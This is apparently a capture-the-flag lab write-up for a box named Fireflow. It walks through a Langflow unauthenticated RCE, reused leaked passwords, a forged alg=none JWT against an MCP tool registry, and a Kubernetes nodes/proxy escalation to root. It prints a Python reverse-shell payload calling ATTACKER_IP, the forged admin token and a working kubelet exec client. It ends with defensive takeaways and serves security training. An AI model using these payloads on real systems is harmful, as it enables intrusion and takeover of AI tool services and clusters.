Fireflow
Summary
Fireflow is a medium Linux box that chains an exposed Langflow instance with a poorly secured internal MCP service. A public playground reveals flow.fireflow.htb and a valid flow ID, which is enough to trigger CVE-2026-33017 for a shell as www-data. Langflow environment variables expose a password that gives SSH access, and a hidden .mcp/config.json file provides credentials for the internal MCP tool registry. The registry accepts unsigned JWTs, allowing us to register a Python tool and obtain a shell as mcp. Its Kubernetes service account can query nodes/proxy, which reaches a kubelet and lets us execute commands inside a privileged node-exporter pod. The host filesystem is mounted at /host, giving us the root flag.
Skills Required
- Subdomain and virtual host enumeration
- JWT and Kubernetes API fundamentals
- Basic Python and reverse-shell usage
Skills Learned
- Exploiting Langflow unauthenticated RCE (CVE-2026-33017)
- Abusing JWT
alg=noneacceptance and role claims - Using
SelfSubjectRulesReviewto enumerate Kubernetes RBAC permissions - Using
nodes/proxyand the kubelet exec websocket against a privileged pod
Fireflow - Root Path | +-- 1. flow.fireflow.htb playground | `-- valid flow_id -> Langflow CVE-2026-33017 -> www-data | +-- 2. Langflow environment | `-- reused password -> SSH user -> user.txt | +-- 3. .mcp/config.json | `-- MCP credentials -> JWT alg=none + role=admin -> mcp shell | +-- 4. Kubernetes service account | `-- nodes/proxy -> kubelet -> privileged node-exporter pod | `-- /host/root/root/root.txt -> root.txt
Enumeration
A full port scan reveals SSH and HTTPS. The TLS certificate identifies fireflow.htb and its wildcard subdomain.
Starting Nmap 7.98 ( https://nmap.org ) at 2026-07-11 06:30 -0400 Nmap scan report for 10.129.46.84 Host is up (0.044s latency). PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 9.6p1 Ubuntu 3ubuntu13.16 443/tcp open ssl/http nginx |_http-title: Did not follow redirect to https://fireflow.htb/ | ssl-cert: Subject: commonName=fireflow.htb/organizationName=Task Force Nightfall/countryName=US | Subject Alternative Name: DNS:fireflow.htb, DNS:*.fireflow.htb
Add the main host to /etc/hosts before starting web enumeration.
10.129.46.84 fireflow.htb flow.fireflow.htb
SMB, LDAP and WinRM are absent. Directory enumeration against the main site is unremarkable, but virtual host fuzzing finds a new host:
flow [Status: 200, Size: 1142, Words: 132, Lines: 25, Duration: 71ms]
Foothold
Flow playground and Langflow
The Open Agent button redirects to a playground on the new vhost:
https://flow.fireflow.htb/playground/7d84d636-af65-42e4-ac38-26e867052c25
The UUID-like value is a valid flow_id. The application is running Langflow 1.8.2, and the playground confirms that the service exposes a flow-building API.
Langflow unauthenticated RCE - CVE-2026-33017
Langflow exposes /api/v1/build_public_tmp/{flow_id}/flow for previewing flows. The endpoint does not require authentication and passes attacker-controlled Python to exec() without sandboxing. A valid flow ID is the only prerequisite.
git clone https://github.com/EQSTLab/CVE-2026-33017.git cd CVE-2026-33017
The target uses HTTPS with a certificate that is not trusted by the exploit's default client. In send_payload(), disable certificate verification before sending the request:
# send_payload() request requests.post(url, json=payload, verify=False)
Start a listener, run the PoC with the discovered flow_id, and catch a reverse shell as www-data.
nc -lvnp 4444 # exploit output uid=33(www-data) gid=33(www-data) groups=33(www-data)
Lateral Movement
Langflow environment -> SSH
The process environment contains the Langflow superuser password and secret key:
env | grep -i langflow LANGFLOW_SUPERUSER_PASSWORD=n1ghtm4r3_b4_n1ghtf4ll LANGFLOW_SECRET_KEY=XgDCYma6JZzT3XXyePTbr4vgWrrZ4Vzz-PCQ4PXfKgE
The superuser password is reused for SSH. Log in as the local Langflow account and read the user flag.
ssh <langflow_user>@fireflow.htb cat user.txt
MCP credentials
Hidden files in the user's home directory reveal an MCP configuration:
cat ~/.mcp/config.json
{
"server": "http://10.129.83.233:30080",
"status_endpoint": "/api/v1/version",
"user": "langflow-bot",
"password": "Langfl0w@mcp2026!"
}
The service identifies itself as an MCP AI Tool Registry.
curl http://10.129.83.233:30080/api/v1/version | python3 -m json.tool
{
"service": "MCP AI Tool Registry",
"version": "0.1.0",
"auth": {
"type": "JWT",
"header": "Authorization: Bearer <token>",
"supported_algorithms": ["HS256", "none"]
},
"docs": "/docs",
"endpoints": [
"POST /mcp",
"POST /api/v1/auth",
"GET /api/v1/tools",
"POST /api/v1/tools [admin]"
]
}
Unsigned JWT -> MCP admin
Authenticate with the leaked credentials to receive a JWT:
curl -X POST http://10.129.83.233:30080/api/v1/auth \
-H "Content-Type: application/json" \
-d '{"username":"langflow-bot", "password":"Langfl0w@mcp2026!"}' | python3 -m json.tool
Decoding the first two JWT segments shows a normal user token:
{"alg":"HS256","typ":"JWT"}
{"sub":"langflow-bot","role":"user"}
The version endpoint explicitly lists none as a supported algorithm. Change the header to alg=none, change the role claim to admin, and keep the existing signature segment. The forged header and payload are:
eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJzdWIiOiJsYW5nZmxvdy1ib3QiLCJyb2xlIjoiYWRtaW4ifQ
Use the modified token to register tools. First confirm administrative access with a harmless id tool:
export ADMIN_TOKEN='eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJzdWIiOiJsYW5nZmxvdy1ib3QiLCJyb2xlIjoiYWRtaW4ifQ.RenGdHutrKPCOWjwYSJex8C_uMSmy7I8AMkhmTwf9Ps'
curl -X POST http://10.129.83.233:30080/api/v1/tools \
-H "Content-Type: application/json" \
-H "Authorization: Bearer $ADMIN_TOKEN" \
-d '{"name":"id", "description":"test", "code":"id"}'
{"status":"registered","name":"id"}
MCP tool to shell
Register a Python reverse shell as another tool:
curl -X POST http://10.129.83.233:30080/api/v1/tools \
-H "Content-Type: application/json" \
-H "Authorization: Bearer $ADMIN_TOKEN" \
-d '{"name":"shell", "description":"reverse shell", "code":"import socket,os,pty\npid=os.fork()\nif pid>0:\n import sys;sys.exit(0)\nos.setsid()\npid=os.fork()\nif pid>0:\n import sys;sys.exit(1)\ns=socket.socket()\ns.connect((\"ATTACKER_IP\",4444))\n[os.dup2(s.fileno(),i) for i in(0,1,2)]\npty.spawn(\"/bin/sh\")"}'
Start a listener and invoke the tool through the JSON-RPC /mcp endpoint:
nc -lvnp 4444
curl -X POST http://10.129.83.233:30080/mcp \
-H "Content-Type: application/json" \
-H "Authorization: Bearer $ADMIN_TOKEN" \
-d '{"jsonrpc":"2.0","id":4,"method":"tools/call","params":{"name":"shell","arguments":{}}}'
{"jsonrpc":"2.0","id":4,"result":{"content":[{"type":"text","text":""}],"isError":false}}
The callback lands as the mcp user.
Privilege Escalation
Kubernetes service account
The MCP process runs inside Kubernetes. The pod-mounted service account files and environment variables identify the API server:
env | grep -i kubernetes KUBERNETES_SERVICE_HOST=10.43.0.1 KUBERNETES_SERVICE_PORT=443 PWD=/var/run/secrets/kubernetes.io/serviceaccount ls /var/run/secrets/kubernetes.io/serviceaccount ca.crt namespace token
Without a token, the API server returns 401 Unauthorized. Use the mounted token to query the service account's own RBAC rules with SelfSubjectRulesReview:
export KUBE_TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
export KUBE_API=https://10.43.0.1:443
curl -ks "$KUBE_API/apis/authorization.k8s.io/v1/selfsubjectrulesreviews" \
-H "Authorization: Bearer $KUBE_TOKEN" \
-H "Content-Type: application/json" \
-d '{"apiVersion":"authorization.k8s.io/v1","kind":"SelfSubjectRulesReview","spec":{"namespace":"default"}}' | python3 -m json.tool
The relevant permission is:
"verbs": ["get"], "apiGroups": [""], "resources": ["nodes/proxy"]
nodes/proxy to kubelet
nodes/proxy is a Kubernetes subresource that proxies requests to a node's kubelet. The kubelet exposes pod metadata and command execution on port 10250. Query the pod list and filter for containers running with privileged: true:
export NODE=10.129.83.233
curl -ks "https://$NODE:10250/pods" \
-H "Authorization: Bearer $KUBE_TOKEN" | python3 -c '
import sys, json
data = json.load(sys.stdin)
for pod in data.get("items", []):
for container in pod.get("spec", {}).get("containers", []):
if container.get("securityContext", {}).get("privileged", False):
print(f"{pod['metadata']['namespace']}/{pod['metadata']['name']}")
break
'
monitoring/prometheus-prometheus-node-exporter-nmntq
The node-exporter container is privileged and mounts the host filesystem at /host.
Kubelet websocket exec
The kubelet exec endpoint uses a websocket and the v4.channel.k8s.io subprotocol. Save a small client as /tmp/kube_exec.py:
#!/usr/bin/env python3
import asyncio
import ssl
import sys
import websockets
NODE = "10.129.83.233"
POD_NS = "monitoring"
POD = "prometheus-prometheus-node-exporter-nmntq"
CONTAINER = "node-exporter"
TOKEN = open("/var/run/secrets/kubernetes.io/serviceaccount/token").read().strip()
COMMAND = sys.argv[1] if len(sys.argv) > 1 else "id"
async def ws_exec(cmd_parts):
ctx = ssl.create_default_context()
ctx.check_hostname = False
ctx.verify_mode = ssl.CERT_NONE
args = "&".join(f"command={part}" for part in cmd_parts)
url = (f"wss://{NODE}:10250/exec/{POD_NS}/{POD}/{CONTAINER}"
f"?output=1&error=1&{args}")
async with websockets.connect(
url,
ssl=ctx,
additional_headers={"Authorization": f"Bearer {TOKEN}"},
subprotocols=["v4.channel.k8s.io"],
open_timeout=10,
) as ws:
try:
while True:
data = await asyncio.wait_for(ws.recv(), timeout=5)
if isinstance(data, bytes) and len(data) > 1:
sys.stdout.write(data[1:].decode("utf-8", errors="replace"))
sys.stdout.flush()
except (asyncio.TimeoutError, websockets.exceptions.ConnectionClosed):
pass
asyncio.run(ws_exec(COMMAND.split()))
Running commands directly under /root returns nothing because that path belongs to the container. The host root is available below /host:
python3 /tmp/kube_exec.py "id" # uid=0(root) gid=0(root) python3 /tmp/kube_exec.py "cat /root/root.txt" # empty python3 /tmp/kube_exec.py "cat /host/root/root/root.txt" # root flag
Key Takeaways
- Development playgrounds expose attack primitives - a public Langflow flow ID was enough to reach an unauthenticated execution endpoint.
- Environment variables and hidden config files deserve equal attention - they provided both SSH and MCP credentials.
- JWT algorithm allowlists must be enforced - accepting
nonelet a user token become an admin token. - RBAC permissions need least privilege -
nodes/proxyexposed kubelet access from a service account. - Privileged containers are host compromise - the node-exporter pod exposed the host root filesystem at
/host.